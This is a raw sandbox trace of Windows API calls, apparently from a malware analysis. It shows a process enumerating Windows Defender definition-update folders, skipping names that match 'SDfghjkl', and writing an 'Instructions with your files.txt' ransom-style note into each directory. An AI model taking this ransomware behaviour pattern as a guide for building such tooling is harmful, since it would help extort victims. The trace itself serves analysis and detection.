[0131.904] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb35a1680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35a1680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.904] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\..") returned 71
[0131.904] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb2f87e20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2f87e20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1
[0131.904] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned 75
[0131.904] GetProcessHeap () returned 0x810000
[0131.904] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.904] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*") returned 77
[0131.904] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb2f87e20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2f87e20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.904] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\.") returned 77
[0131.904] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb2f87e20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2f87e20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.904] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\..") returned 78
[0131.904] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2f87e20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2f87e20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb31c32c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.904] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\Instructions with your files.txt") returned 108
[0131.904] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.904] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2f87e20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2f87e20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb31c32c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.904] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\Instructions with your files.txt") returned 108
[0131.904] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\backup\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.904] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.905] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.905] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.905] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.905] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.906] CloseHandle (hObject=0x118) returned 1
[0131.906] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.906] GetProcessHeap () returned 0x810000
[0131.906] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.906] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb35a1680, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb35a1680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35a1680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.906] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Instructions with your files.txt") returned 101
[0131.906] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.906] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb357b520, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb357b520, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1
[0131.906] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned 76
[0131.906] GetProcessHeap () returned 0x810000
[0131.906] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.906] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*") returned 78
[0131.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb357b520, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb357b520, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.906] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\.") returned 78
[0131.906] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb357b520, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb357b520, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.906] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\..") returned 79
[0131.906] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb357b520, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb357b520, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb357b520, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.906] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\Instructions with your files.txt") returned 109
[0131.906] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.906] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb357b520, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb357b520, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb357b520, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.906] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\Instructions with your files.txt") returned 109
[0131.906] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\updates\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.907] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.908] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.908] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.908] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.908] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.908] CloseHandle (hObject=0x118) returned 1
[0131.908] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.908] GetProcessHeap () returned 0x810000
[0131.908] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.908] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xb35a1680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35a1680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="{D2B0B~1")) returned 1
[0131.908] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned 107
[0131.908] GetProcessHeap () returned 0x810000
[0131.908] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.908] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*") returned 109
[0131.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xb35a1680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35a1680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.908] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\.") returned 109
[0131.908] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xb35a1680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35a1680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.908] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\..") returned 110
[0131.908] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb357b520, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb357b520, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35a1680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.909] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\Instructions with your files.txt") returned 140
[0131.909] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.909] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fd91f9, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fd91f9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x12c4d000, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0xb17190, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpasbase.vdm", cAlternateFileName="")) returned 1
[0131.909] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm") returned 120
[0131.909] StrStrIW (lpFirst="mpasbase.vdm", lpSrch="SDfghjkl") returned 0x0
[0131.909] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fff35a, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x6da22700, ftLastWriteTime.dwHighDateTime=0x1cb8783, nFileSizeHigh=0x0, nFileSizeLow=0x52d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpasdlta.vdm", cAlternateFileName="")) returned 1
[0131.909] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm") returned 120
[0131.909] StrStrIW (lpFirst="mpasdlta.vdm", lpSrch="SDfghjkl") returned 0x0
[0131.909] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x93b6800, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0x7d1d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpengine.dll", cAlternateFileName="")) returned 1
[0131.909] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll") returned 120
[0131.909] StrStrIW (lpFirst="mpengine.dll", lpSrch="SDfghjkl") returned 0x0
[0131.909] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x93b6800, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0x7d1d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpengine.dll", cAlternateFileName="")) returned 0
[0131.909] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\Instructions with your files.txt") returned 140
[0131.909] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.909] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.910] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.910] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.910] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.910] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.910] CloseHandle (hObject=0x118) returned 1
[0131.910] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.911] GetProcessHeap () returned 0x810000
[0131.911] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.911] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xb35a1680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35a1680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="{D2B0B~1")) returned 0
[0131.911] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Instructions with your files.txt") returned 101
[0131.911] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.911] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.912] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.912] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.912] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.912] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.912] CloseHandle (hObject=0x114) returned 1
[0131.912] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.912] GetProcessHeap () returned 0x810000
[0131.912] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
